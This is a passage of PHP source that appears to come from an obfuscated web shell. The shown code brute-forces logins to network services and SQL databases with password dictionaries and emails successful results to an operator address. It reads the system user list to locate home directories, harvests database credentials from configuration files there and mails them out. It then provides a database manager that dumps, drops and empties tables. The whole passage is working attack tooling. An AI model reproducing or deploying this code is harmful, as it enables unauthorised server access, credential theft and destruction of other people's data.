8330 if (!$test)
8331 $stop = 1;
8332 z2w($test[0], $test[1], $test[2]);
8333 }
8334 if (($brm == "2" || $brm == "3") && !$stop) {
8335 foreach ($users as $user) {
8336 $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user);
8337 if (!$test) {
8338 $stop = 1;
8339 break;
8340 }
8341 z2w($test[0], $test[1], $test[2]);
8342 if ($brm == "3") {
8343 foreach ($dictionary as $passwd) {
8344 $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user, $passwd);
8345 z2w($test[0], $test[1], $test[2]);
8346 }
8347 }
8348 }
8349 } else
8350 if ($brm == "1" && !@empty($bru) && !$stop) {
8351 foreach ($dictionary as $passwd) {
8352 $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru, $passwd);
8353 if (!$test) {
8354 $stop = 1;
8355 break;
8356 }
8357 z2w($test[0], $test[1], $test[2]);
8358 }
8359 }
8360 echo "\r\n--------------------\r\n";
8361 echo z9s("426", $count) . "\r\n";
8362 echo z9s("427", $success) . "\r\n";
8363 } elseif ($bmysql || $bmssql || $boracle || $bpostgres) {
8364 $success = 0;
8365 $count = 0;
8366 if (!@empty($bru)) {
8367 $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru, null,
8368 (!@empty($brdb) ? $brdb : ''));
8369 z2w($test[0], $test[1], $test[2]);
8370 }
8371 if ($brm == "2" || $brm == "3") {
8372 foreach ($users as $user) {
8373 $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user, null,
8374 (!@empty($brdb) ? $brdb : ''));
8375 z2w($test[0], $test[1], $test[2]);
8376 if ($brm == "3") {
8377 foreach ($dictionary as $passwd) {
8378 $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user,
8379 $passwd, (!@empty($brdb) ? $brdb : ''));
8380 z2w($test[0], $test[1], $test[2]);
8381 }
8382 }
8383 }
8384 } else
8385 if ($brm == "1" && !@empty($bru)) {
8386 foreach ($dictionary as $passwd) {
8387 $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru,
8388 $passwd, (!@empty($brdb) ? $brdb : ''));
8389 z2w($test[0], $test[1], $test[2]);
8390 }
8391 }
8392 echo "\r\n--------------------\r\n";
8393 echo z9s("426", $count) . "\r\n";
8394 echo z9s("427", $success) . "\r\n";
8395 echo $log;
8396 }
8397 if ($brute_log == "1" && $success > 0) {
8398 @mail($brute_email, "$bservice|$brh:$brp", $log);
8399 }
8400 echo z5q() . z7u() . z7g() . z10w() . z6d();
8401 }
8402 if (@isset($sqlfind) && $sqlfind && !@empty($dvuser) && !@empty($dvpass)) {
8403 echo z2b(z9s("330")) . z6d();
8404 echo z9m('2') . z7p() . z6w() . z5w("", "1");
8405 z5p();
8406 $dpaths = $glob = array();
8407 $farr = @explode(";", $dvfiles);
8408 if ($dvdefined == "all" && @isset($arr_mass_paths) && @is_array($arr_mass_paths) &&
8409 @count($arr_mass_paths) > 0) {
8410 $farr = $arr_mass_paths;
8411 }
8412 $wildcards = @implode(";", $farr);
8413 switch ($dvfind) {
8414 case 'dvdir':
8415 $dpaths[] = z1a($dvdir);
8416 break;
8417 case 'docroot':
8418 $dpaths[] = z1a($wwwdir);
8419 break;
8420 case 'passwd':
8421 $uarr = z6m(1);
8422 if (@count($uarr) > 0) {
8423 foreach ($uarr as $uk => $arr) {
8424 if (!@in_array($arr[1], $dpaths) && $arr[1] != '/' && !@preg_match('#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#',
8425 $arr[1]) && z4j($arr[1]))
8426 $dpaths[] = z1a($arr[1]);
8427 }
8428 }
8429 unset($uarr);
8430 break;
8431 default:
8432 break;
8433 }
8434 foreach ($dpaths as $dpath) {
8435 $tglob = z5s($dpath, $wildcards, $dtrecursive, (($dsfunc == "find") ? true : false));
8436 if (@is_array($tglob) && @count($tglob) > 0) {
8437 foreach ($tglob as $tfile) {
8438 if (!@in_array($tfile, $glob))
8439 $glob[] = $tfile;
8440 }
8441 }
8442 }
8443 $glob = @array_unique($glob);
8444 unset($dpaths);
8445 if (@count($glob) > 0) {
8446 $uhashes = array();
8447 $log = '';
8448 $line = @str_repeat("-", 100) . "\r\n";
8449 $final_arr = array();
8450 foreach ($glob as $file) {
8451 $tct = z9p($file);
8452 if (!@empty($tct)) {
8453 if ($dvdefined == "all" && @isset($arr_mass) && @is_array($arr_mass) && @count($arr_mass) >
8454 0) {
8455 foreach ($arr_mass as $software => $defines) {
8456 $base = "";
8457 $user = z4b($defines[1], $defines[0], $tct);
8458 $pass = z4b($defines[3], $defines[2], $tct);
8459 if (!@empty($defines[4])) {
8460 $base = z4b($defines[5], $defines[4], $tct);
8461 }
8462 if (!@empty($defines[6])) {
8463 $host = z4b($defines[7], $defines[6], $tct);
8464 }
8465 if (!@isset($host) || @empty($host))
8466 $host = "localhost";
8467 if (!@empty($host) && !@empty($user) && !@empty($pass)) {
8468 $add = 0;
8469 if (@isset($dvsqltest) && $dvsqltest) {
8470 if (z4u($host, $user, $pass, "3306", "MySQL") == "valid")
8471 $add = 1;
8472 } else {
8473 $add = 1;
8474 }
8475 if ($add) {
8476 $tmphash = @md5($host . $user . $pass . $base);
8477 if (!@in_array($tmphash, $uhashes)) {
8478 $uhashes[] = $tmphash;
8479 $tmp = $line;
8480 $tmp .= "$file\r\n";
8481 $tmp .= "Software tested: $software\r\n";
8482 $tmp .= $line;
8483 $tmp .= "host: $host\r\n";
8484 $tmp .= "user: $user\r\n";
8485 $tmp .= "pass: $pass\r\n";
8486 $tmp .= "database: $base\r\n\r\n";
8487 echo $tmp;
8488 $log .= $tmp;
8489 if (!@isset($final_arr[$file]))
8490 $final_arr[$file] = array($host, $user, $pass, $base, $software);
8491 }
8492 break;
8493 }
8494 }
8495 }
8496 } else {
8497 $base = "";
8498 $user = z4b($dtuser, $dvuser, $tct);
8499 $pass = z4b($dtpass, $dvpass, $tct);
8500 if (!@empty($dvbase)) {
8501 $base = z4b($dtbase, $dvbase, $tct);
8502 }
8503 if (!@empty($dvhost)) {
8504 $host = z4b($dthost, $dvhost, $tct);
8505 }
8506 if (!@isset($host) || @empty($host))
8507 $host = "localhost";
8508 if (!@empty($host) && !@empty($user) && !@empty($pass)) {
8509 $add = 0;
8510 if (@isset($dvsqltest) && $dvsqltest) {
8511 if (z4u($host, $user, $pass, "3306", "MySQL") == "valid")
8512 $add = 1;
8513 } else {
8514 $add = 1;
8515 }
8516 if ($add) {
8517 $tmphash = @md5($host . $user . $pass . $base);
8518 if (!@in_array($tmphash, $uhashes)) {
8519 $uhashes[] = $tmphash;
8520 $tmp = $line;
8521 $tmp .= "$file\r\n";
8522 $tmp .= $line;
8523 $tmp .= "host: $host\r\n";
8524 $tmp .= "user: $user\r\n";
8525 $tmp .= "pass: $pass\r\n";
8526 $tmp .= "database: $base\r\n\r\n";
8527 echo $tmp;
8528 $log .= $tmp;
8529 if (!@isset($final_arr[$file]))
8530 $final_arr[$file] = array($host, $user, $pass, $base);
8531 }
8532 }
8533 }
8534 }
8535 }
8536 unset($tct);
8537 }
8538 }
8539 echo z5q() . z7u() . z7g() . z10w() . z6d();
8540 if ($dv_log == "1" && $log != '') {
8541 @mail($dv_email, "DBS|$saddr", $log);
8542 }
8543 }
8544 if (@isset($final_arr) && @count($final_arr) > 0) {
8545 echo z9m("2") . z7i(z9j(z9s("331"), "13", "2") . z9j(z9s("332"), "13") . z9j(z9s
8546 ("333"), "13") . z9j(z9s("334"), "13") . z9j(z9s("335"), "13", "3"));
8547 $tr = 0;
8548 foreach ($final_arr as $file => $array) {
8549 echo z6g(($tr % 2 ? '0' : '1'));
8550 $tc = @count($array);
8551 $dsoft = '';
8552 if ($tc == 5) {
8553 $tc = 4;
8554 $dsoft = $array[$tc];
8555 }
8556 for ($i = 0; $i < $tc; $i++) {
8557 echo z9j($array[$i], "14", ($i == 0 ? "2" : ""));
8558 }
8559 echo z9j(z5c(array("act" => "sql", "d", "sql_refresh" => "1", "sql_server" => $array[0],
8560 "sql_user" => $array[1], "sql_pass" => $array[2], "sql_db" => $array[3],
8561 "sql_port" => "3306", "sql_engine" => "MySQL"), z8v(z9s("336"), "7") . (($dsoft !=
8562 '') ? " (" . $dsoft . ")" : ''), 1), "14", "3");
8563 echo z7u();
8564 $tr++;
8565 }
8566 }
8567}
8568if ($act == 'sql') {
8569 $hideconnect = 0;
8570 $hmsg = '';
8571 if (@isset($sql_act) && $sql_act == "logoff") {
8572 z0u('sql_server');
8573 z0u('sql_user');
8574 z0u('sql_pass');
8575 z0u('sql_port');
8576 z0u('sql_engine');
8577 z0u('sql_session');
8578 z0u('sql_sort');
8579 }
8580 $sql_session = 0;
8581 if (@isset($_SESSION['sql_session'])) {
8582 if (!@isset($sql_refresh) || !$sql_refresh) {
8583 $sql_server = $_SESSION['sql_server'];
8584 $sql_user = $_SESSION['sql_user'];
8585 $sql_pass = $_SESSION['sql_pass'];
8586 $sql_port = $_SESSION['sql_port'];
8587 $sql_engine = $_SESSION['sql_engine'];
8588 if (!@isset($sql_sort))
8589 $sql_sort = $_SESSION['sql_sort'];
8590 $sql_session = 1;
8591 } else {
8592 z0u('sql_server');
8593 z0u('sql_user');
8594 z0u('sql_pass');
8595 z0u('sql_port');
8596 z0u('sql_engine');
8597 z0u('sql_session');
8598 z0u('sql_sort');
8599 }
8600 }
8601 if (!@empty($sql_server) && !@empty($sql_port) && !@empty($sql_user) && @isset($sql_pass) &&
8602 !@empty($sql_engine)) {
8603 if (!@isset($sql_db))
8604 $sql_db = '';
8605 $sql = new my_sql();
8606 $sql->db = $sql_engine;
8607 $sql->host = $sql_server;
8608 $sql->port = $sql_port;
8609 $sql->user = $sql_user;
8610 $sql->pass = $sql_pass;
8611 $sql->base = $sql_db;
8612 if ($sql->connect()) {
8613 $hideconnect = 1;
8614 if (!@isset($sql_sort))
8615 $sql_sort = "0a";
8616 $_SESSION['sql_server'] = $sql_server;
8617 $_SESSION['sql_user'] = $sql_user;
8618 $_SESSION['sql_pass'] = $sql_pass;
8619 $_SESSION['sql_port'] = $sql_port;
8620 $_SESSION['sql_engine'] = $sql_engine;
8621 $_SESSION['sql_session'] = 1;
8622 $_SESSION['sql_sort'] = $sql_sort;
8623 $hideconnect = 1;
8624 $db_actions = array("select" => "Select", "dump" => "Dump", "drop" => "Drop");
8625 $table_actions = array("browse" => "Browse", "dump" => "Dump", "drop" => "Drop",
8626 "empty" => "Empty", "insert" => "Insert");
8627 echo z2b(z9m('2') . z7i(z6x(z5c(array("act" => "sql", "d", "sql_server",
8628 "sql_user", "sql_pass", "sql_port", "sql_engine"), z8v(z9s("352"), (!@isset($sql_act) ||
8629 !@in_array($sql_act, array("query", "emails", "serverstatus", "servervars",
8630 "processes")) ? "12" : "14"))) . z5c(array("act" => "sql", "d", "sql_server",
8631 "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "query", "sql_db"),
8632 z8v(z9s("353"), (@isset($sql_act) && $sql_act == "query" ? "12" : "14"))) . z5c
8633 (array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port",
8634 "sql_engine", "sql_act" => "emails", "sql_db"), z8v(z9s("354"), (@isset($sql_act) &&
8635 $sql_act == "emails" ? "12" : "14"))) . z5c(array("act" => "sql", "d",
8636 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8637 "serverstatus"), z8v(z9s("355"), (@isset($sql_act) && $sql_act == "serverstatus" ?
8638 "12" : "14"))) . z5c(array("act" => "sql", "d", "sql_server", "sql_user",
8639 "sql_pass", "sql_port", "sql_engine", "sql_act" => "servervars"), z8v(z9s("356"),
8640 (@isset($sql_act) && $sql_act == "servervars" ? "12" : "14"))) . z5c(array("act" =>
8641 "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine",
8642 "sql_act" => "processes"), z8v(z9s("357"), (@isset($sql_act) && $sql_act ==
8643 "processes" ? "12" : "14"))) . z5c(array("act" => "sql", "d", "sql_act" =>
8644 "logoff"), z8v(z9s("358"), "14")), "")) . z10w());
8645 if ($sql_engine == "MySQL") {
8646 if (!@isset($sql_act)) {
8647 if (@isset($sql_db) && !@empty($sql_db)) {
8648 $sql->base = $sql_db;
8649 if ($sql->select_db()) {
8650 $sql_act = "db_act";
8651 $db_act = "select";
8652 } else {
8653 $sql_act = "showdb";
8654 $sql_db = "";
8655 $sql->base = "";
8656 }
8657 } else {
8658 $sql_act = "showdb";
8659 }
8660 }
8661 $dbs = $sql->list_dbs();
8662 $db_list = array('' => z9s("367", @count($dbs)));
8663 foreach ($dbs as $k => $v)
8664 $db_list[$k] = $v;
8665 if ($sql_act == "db_act" && @isset($db_act) && !@empty($sql_db)) {
8666 switch ($db_act) {
8667 case 'dump':
8668 $sql_act = "dump";
8669 break;
8670 case 'drop':
8671 if (@isset($drop_confirm) && $drop_confirm) {
8672 $sql->query('DROP DATABASE ' . $sql_db . ';');
8673 $sql_act = "showdb";
8674 $sql_db = "";
8675 } else {
8676 $sql_act = "dropdb";
8677 }
8678 break;
8679 }
8680 } elseif ($sql_act == "table_act" && @isset($table_act) && !@empty($sel_table)) {
8681 switch ($table_act) {
8682 case 'dump':
8683 $sql_act = "dump";
8684 break;
8685 case 'drop':
8686 if (@isset($drop_confirm) && $drop_confirm) {
8687 $sql->base = $sql_db;
8688 if ($sql->select_db()) {
8689 $sql->query('DROP TABLE ' . $sel_table . ';');
8690 }
8691 $sel_table = "";
8692 $sql_act = "db_act";
8693 $db_act = "select";
8694 } else {
8695 $sql_act = "droptable";
8696 }
8697 break;
8698 case 'empty':
8699 if (@isset($empty_confirm) && $empty_confirm) {
8700 $sql->base = $sql_db;
8701 if ($sql->select_db()) {
8702 $sql->query('DELETE FROM ' . $sel_table . ';');
8703 }
8704 $sql_act = "table_act";
8705 $table_act = "browse";
8706 } else {
8707 $sql_act = "empty";
8708 }
8709 break;
8710 case 'insert':
8711 break;
8712 case 'delete':
8713 $sql->base = $sql_db;
8714 if ($sql->select_db()) {
8715 $sql->query('DELETE FROM ' . $sel_table . ' WHERE ' . $sql_tbl_insert_q .
8716 ' LIMIT 1;');
8717 }
8718 $table_act = "browse";
8719 break;
8720 }
8721 }
8722 if (!@in_array($sql_act, array("showdb", "query", "serverstatus", "servervars",
8723 "processes", "emails"))) {
8724 $db_submit_acts = $table_submit_acts = '';
8725 foreach ($db_actions as $dk => $dv)
8726 $db_submit_acts .= z6p($dk, $dv, "7");
8727 foreach ($table_actions as $tk => $tv)
8728 $table_submit_acts .= z5c(array("act" => "sql", "d", "sql_server", "sql_user",
8729 "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act" => $tk, "sql_db",
8730 "sel_table"), z6p($tk, $tv, "7"));
8731 $table_submit_acts = z10e(z7i(z9j($table_submit_acts)), "2");
8732 $db_table = z10e(z7i(z6x(z8e(z9s("364")) . z5c(array("act" => "sql", "d",
8733 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8734 "db_act"), z4a("sql_db", $db_list, "0", 1) . z4a("db_act", $db_actions, "1") .
8735 z8v(z9s("92"), "7")))), "2");
8736 if (@isset($sql_db) && !@empty($sql_db)) {
8737 $sql->base = $sql_db;
8738 if ($sql->select_db()) {
8739 $table_list = array('' => "-");
8740 $sql->query('SHOW TABLES FROM ' . $sql_db . ';');
8741 if ($sql->get_result()) {
8742 for ($i = 0; $i < $sql->num_rows; $i++) {
8743 foreach ($sql->rows[$i] as $rk => $rv) {
8744 $table_list[$rv] = $rv . " (" . $sql->count_rows($rv) . ")";
8745 }
8746 }
8747 }
8748 $table_table = z10e(z7i(z6x(z8e(z9s("365")) . z5c(array("act" => "sql", "d",
8749 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8750 "table_act", "sql_db"), z4a("sel_table", $table_list, "0", 1) . z4a("table_act",
8751 $table_actions, "1") . z8v(z9s("92"), "7")))), "2");
8752 }
8753 }
8754 echo z2b((@isset($table_table) ? array($db_table, $table_table) : $db_table));
8755 if ($sql_act == "dropdb") {
8756 echo z6d();
8757 echo z10e(z7i(z6x(z8e(z9s("437", $sql_db)) . z5c(array("act" => "sql", "d",
8758 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8759 "db_act", "db_act" => "drop", "sql_db", "drop_confirm" => "1"), z8v(z9s("21"),
8760 "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), '7')))), "2");
8761 echo z6d();
8762 } elseif ($sql_act == "droptable") {
8763 echo z6d();
8764 echo z10e(z7i(z6x(z8e(z9s("438", $sel_table)) . z5c(array("act" => "sql", "d",
8765 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8766 "table_act", "table_act" => "drop", "sql_db", "sel_table", "drop_confirm" => "1"),
8767 z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), '7')))),
8768 "2");
8769 echo z6d();
8770 } elseif ($sql_act == "empty") {
8771 echo z6d();
8772 echo z10e(z7i(z6x(z8e(z9s("439", $sel_table)) . z5c(array("act" => "sql", "d",
8773 "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" =>
8774 "table_act", "table_act" => "empty", "sql_db", "sel_table", "empty_confirm" =>
8775 "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), '7')))),
8776 "2");
8777 echo z6d();
8778 } elseif ($sql_act == "dump") {
8779 if (!@isset($dump_filename))
8780 $dump_filename = $tempdir . "dump_" . @getenv("SERVER_NAME") . "_db_" . @date("d-m-Y_H-i-s") .
8781 ".sql";
8782 if (@isset($sql_db) && !@empty($sql_db)) {
8783 $sql->base = $sql_db;
8784 if ($sql->select_db()) {
8785 $table_list = array();
8786 $sql->query('SHOW TABLES FROM ' . $sql_db . ';');
8787 if ($sql->get_result()) {
8788 for ($i = 0; $i < $sql->num_rows; $i++) {
8789 foreach ($sql->rows[$i] as $rk => $rv) {
8790 $table_list[] = $rv;
8791 }
8792 }
8793 }
8794 }
8795 }
8796 if (!@isset($sql_tables) || @empty($sql_tables)) {
8797 if (@isset($sel_table) && !@empty($sel_table)) {
8798 $sql_tables = $sel_table;
8799 } else {
8800 $sql_tables = (@count($table_list) > 0 ? @implode(",", $table_list) : "");
8801 }
8802 } elseif (@isset($table_list) && @is_array($table_list)) {
8803 $tmp_tables = @explode(",", $sql_tables);
8804 $sql_tables = "";
8805 foreach ($tmp_tables as $tmp_table) {
8806 $tmp_table = @trim($tmp_table);
8807 if (@in_array($tmp_table, $table_list)) {
8808 $sql_tables .= $tmp_table . ",";
8809 } else {
8810 break;
8811 }
8812 }
8813 if (@empty($sql_tables))
8814 $sql_tables = @implode(",", $table_list);
8815 }
8816 echo z2b(z9s("440"));
8817 echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user",
8818 "sql_pass", "sql_port", "sql_engine", "sql_act" => "dump", "dump_confirm" => "1"),
8819 z5n() . z7i(z5t(z9s("441")) . z9j(z4a("sql_db", $db_list, "7", 1))) . z7i(z5t(z9s
8820 ("442")) . z9j(z5w("sql_tables", "5") . (@isset($sql_tables) ? @
8821 htmlspecialchars($sql_tables) : "") . z5q())) . z7i(z5t(z9s("443")) . z9j(z5u("dump_filename",
8822 $dump_filename, "7"))) . z7i(z5t(z9c()) . z9j(z5y("sql_save2file", z9s("444"),
8823 "sql_save2file") . z9c() . z5y("sql_download", z9s("445"), "sql_download"))) .
8824 z7i(z5t(z9c()) . z9j(z8v(z9s("446"), "7"))) . z5n()) . z10w();
8825 if (@isset($dump_confirm) && $dump_confirm) {
8826 $fp = 0;
8827 if (@isset($sql_save2file) && $sql_save2file == "1" && @isset($dump_filename) &&
8828 !@empty($dump_filename)) {
8829 if (z4q($dump_filename))
8830 @unlink($dump_filename);
8831 $fp = @fopen($dump_filename, "a");
8832 }
8833 $dumping_arr = array();
8834 $tmp_tables = @explode(",", $sql_tables);
8835 foreach ($tmp_tables as $tmp_table) {
8836 $tmp_table = @trim($tmp_table);
8837 $dumping_arr[] = $tmp_table;
8838 }
8839 $dumping_arr = @array_unique($dumping_arr);
8840 $sql->base = $sql_db;
8841 if (!$sql->select_db()) {
8842 echo z2b(z9s("447"));
8843 } elseif (@count($dumping_arr) < 1) {
8844 echo z2b(z9s("448"));
8845 } else {
8846 if (@isset($sql_download) && $sql_download == "1") {
8847 @ob_clean();
8848 @header("Content-type: application/octet-stream");
8849 @header("Content-disposition: attachment; filename=\"" . @basename($dump_filename) .
8850 "\";");
8851 foreach ($dumping_arr as $dump_table) {
8852 if ($sql->dump($dump_table)) {
8853 foreach ($sql->dump as $v)
8854 echo $v . "\r\n";
8855 }
8856 }
8857 exit();
8858 }
8859 if (!@isset($sql_save2file) || $sql_save2file != "1") {
8860 echo z9m('2') . z6g() . z6w() . z5w('', '1');
8861 foreach ($dumping_arr as $dump_table) {
8862 if ($sql->dump($dump_table)) {
8863 foreach ($sql->dump as $v)
8864 echo @htmlspecialchars($v) . "\r\n";
8865 }
8866 }
8867 echo z5q() . z7g() . z7u() . z10w() . z6d();
8868 } elseif ($fp) {
8869 foreach ($dumping_arr as $dump_table) {
8870 if ($sql->dump($dump_table)) {
8871 foreach ($sql->dump as $v) {
8872 if (!@fwrite($fp, $v . "\r\n")) {
8873 @fputs($fp, $v . "\r\n");
8874 }
8875 }
8876 }
8877 }
8878 @fclose($fp);
8879 if (z4q($dump_filename)) {
8880 echo z2b(z9s("449", $dump_filename));
8881 } else {
8882 echo z2b(z9s("450"));
8883 }
8884 } else {
8885 echo z2b(z9s("450"));
8886 }
8887 }
8888 }
8889 }
8890 if ($sql_act == "table_act" && @isset($table_act) && ($table_act == "browse" ||
8891 $table_act == "insert") && @isset($sel_table) && !@empty($sel_table)) {
8892 $crows = $sql->count_rows($sel_table);
8893 $sql->parse_fields($sel_table);
8894 $cfields = $sql->num_fields;
8895 $fields = $sql->columns;
8896 if ($table_act == "insert") {
8897 if (@isset($sql_tbl_insert_radio) && !@empty($sql_tbl_insert_radio)) {
8898 if ($sql_tbl_insert_radio == 1) {
8899 $keys = "";
8900 $akeys = @array_keys($sql_tbl_insert);
8901 foreach ($akeys as $v) {
8902 $keys .= "`" . @addslashes($v) . "`, ";
8903 }
8904 if (!@empty($keys)) {
8905 $keys = @substr($keys, 0, @strlen($keys) - 2);
8906 }
8907 $values = "";
8908 $i = 0;
8909 foreach (@array_values($sql_tbl_insert) as $v) {
8910 if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {
8911 $values .= $funct . " (";
8912 }
8913 $values .= "'" . @addslashes($v) . "'";
8914 if ($funct) {
8915 $values .= ")";
8916 }
8917 $values .= ", ";
8918 $i++;
8919 }
8920 if (!@empty($values)) {
8921 $values = @substr($values, 0, @strlen($values) - 2);
8922 }
8923 $sql->query("INSERT INTO `" . $sel_table . "` ( " . $keys . " ) VALUES ( " . $values .
8924 " );");
8925 } elseif ($sql_tbl_insert_radio == 2) {
8926 $set = z1r($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
8927 $sql->query("UPDATE `" . $sel_table . "` SET " . $set . " WHERE " . $sql_tbl_insert_q .
8928 " LIMIT 1;");
8929 }
8930 $table_act = "browse";
8931 } else {
8932 echo z2b(array("INSERT INTO TABLE " . $sel_table), "1");
8933 if (!@isset($sql_tbl_insert) || !@is_array($sql_tbl_insert)) {
8934 $sql_tbl_insert = array();
8935 }
8936 if (!@empty($sql_tbl_insert_q)) {
8937 $sql->query("SELECT * FROM `" . $sel_table . "` WHERE " . $sql_tbl_insert_q .
8938 " LIMIT 1;");
8939 $values = @mysql_fetch_assoc($sql->res);
8940 @mysql_free_result($sql->res);
8941 } else {
8942 $values = array();
8943 }
8944 echo z9l() . z9b("act", "sql") . z9b("sql_server") . z9b("sql_user") . z9b("sql_pass") .
8945 z9b("sql_port") . z9b("sql_engine") . z9b("d") . z9b("sql_act", "table_act") .
8946 z9b("table_act", "insert") . z9b("sel_table") . z9b("sql_db") . z9b("sql_tbl_insert_q") .
8947 z9m("2") . z7i(z9j("Field", "13", "2") . z9j("Type", "13") . z9j("Function",
8948 "13") . z9j("Value", "13", "3"));
8949 $sql->query("SHOW FIELDS FROM `" . $sel_table . "`;");
8950 $sql->get_result();
8951 for ($i = 0; $i < $sql->num_rows; $i++) {
8952 $field = $sql->rows[$i];
8953 $name = $field["Field"];
8954 if (empty($sql_tbl_insert_q)) {
8955 $v = "";
8956 }
8957 echo z9f(z9j(z8e(@htmlspecialchars($name)), "14", "2") . z9j($field["Type"],
8958 "14") . z9j(z4a("sql_tbl_insert_functs[" . @htmlspecialchars($name) . "]", array
8959 ("" => "", "PASSWORD" => "PASSWORD", "MD5" => "MD5", "ENCRYPT" => "ENCRYPT",
8960 "ASCII" => "ASCII", "CHAR" => "CHAR", "RAND" => "RAND", "LAST_INSERT_ID" =>
8961 "LAST_INSERT_ID", "COUNT" => "COUNT", "AVG" => "AVG", "SUM" => "SUM", " " =>
8962 "--------", "SOUNDEX" => "SOUNDEX", "LCASE" => "LCASE", "UCASE" => "UCASE",
8963 "NOW" => "NOW", "CURDATE" => "CURDATE", "CURTIME" => "CURTIME", "FROM_DAYS" =>
8964 "FROM_DAYS", "FROM_UNIXTIME" => "FROM_UNIXTIME", "PERIOD_ADD" => "PERIOD_ADD",
8965 "PERIOD_DIFF" => "PERIOD_DIFF", "TO_DAYS" => "TO_DAYS", "UNIX_TIMESTAMP" =>
8966 "UNIX_TIMESTAMP", "USER" => "USER", "WEEKDAY" => "WEEKDAY", "CONCAT" => "CONCAT"),
8967 "5"), "14") . z9j(z6i("sql_tbl_insert[" . (@isset($name) ? @htmlspecialchars($name) :
8968 "") . "]", (@isset($values["$name"]) ? @htmlspecialchars($values["$name"]) : ""),
8969 "7"), "14", "3"), ($i % 2 ? '0' : '1'));
8970 }
8971 echo z10w();
8972 $iradio = '<input type="radio" id="insert" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="1"' . (@
8973 empty($sql_tbl_insert_q) ? " checked" : "") . '><label for="insert">' . z9s("405") .
8974 '</label>';
8975 if (!@empty($sql_tbl_insert_q)) {
8976 $iradio .= z9c() . z9s("406") . z9c() .
8977 '<input type="radio" id="save" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="2" checked><label for="save">' .
8978 z9s("407") . '</label>';
8979 $iradio .= z9b("sql_tbl_insert_q", @htmlspecialchars($sql_tbl_insert_q));
8980 }
8981 echo z2b($iradio . z9c("3") . z8v(z9s("408"), "7"));
8982 echo z9z();
8983 }
8984 }
8985 if ($table_act == "browse") {
8986 if (!@isset($sql_from) || !@is_numeric($sql_from))
8987 $sql_from = 0;
8988 if (!@isset($sql_limit) || !@is_numeric($sql_limit))
8989 $sql_limit = 50;
8990 if (!@isset($sql_page) || !@is_numeric($sql_page))
8991 $sql_page = 0;
8992 $psql_sort = z5r($sql_sort);
8993 if ($psql_sort[1] != 'a') {
8994 $psql_sort[1] = 'd';
8995 } else {
8996 $psql_sort[1] = 'a';
8997 }
8998 if ($psql_sort[0] > ($cfields - 1))
8999 $psql_sort[0] = '0';
9000 $v = $psql_sort[0];
9001 if ($crows > $sql_limit) {
9002 $pages = @ceil($crows / $sql_limit);
9003 $tmpsort = "";
9004 if (@is_array($fields) && @isset($fields[$psql_sort[0]])) {
9005 $tmpsort = ' ORDER BY `' . $fields[$psql_sort[0]] . '` ' . ($psql_sort[1] == "a" ?
9006 'ASC' : 'DESC');
9007 }
9008 $table_limit = $tmpsort . ' LIMIT ' . ($sql_limit * $sql_page) . ',' . $sql_limit;
9009 } else {
9010 $table_limit = '';
9011 $pages = 0;
9012 }
9013 $ar_pages = array();
9014 for ($i = 0; $i < $pages; $i++) {
9015 $ar_pages[$i] = z9s("397") . " " . ($i + 1);
9016 }
9017 if (@count($ar_pages) < 1)
9018 $ar_pages = array("0" => z9s("397") . " 1");
9019 echo z2b(array(z9s("395", array($sel_table, $cfields, $crows)), z10e(z9f(z7e(($sql_page >
9020 0 ? z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass",
9021 "sql_port", "sql_engine", "sql_act", "table_act", "sql_db", "sel_table",
9022 "sql_page" => ($sql_page == "1" ? "NULL" : ($sql_page - 1))), z8v(z9s("396"),
9023 "7")) : z8v(z9s("396"), "7")) . z5c(array("act" => "sql", "d", "sql_server",
9024 "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act",
9025 "sql_db", "sel_table"), z4a("sql_page", $ar_pages, "1", 1) . z8v(z9s("398"), "7")) .
9026 ($sql_page < ($pages - 1) ? z5c(array("act" => "sql", "d", "sql_server",
9027 "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act",
9028 "sql_db", "sel_table", "sql_page" => ($sql_page + 1)), z8v(z9s("399"), "7")) :
9029 z8v(z9s("399"), "7")))), "2")), "1");
9030 $sql->query('SELECT * FROM ' . $sel_table . $table_limit . ';');
9031 if ($sql->get_result()) {
9032 echo z9m('2') . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k();
9033 echo z9m('2');
9034 echo z6g();
9035 for ($i = 0; $i < @count($sql->columns); $i++) {
9036 echo ($i == 0 ? z9j(z9s("62"), "13", "2") : "") . z9j(z5c(array("act" => "sql",
9037 "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act",
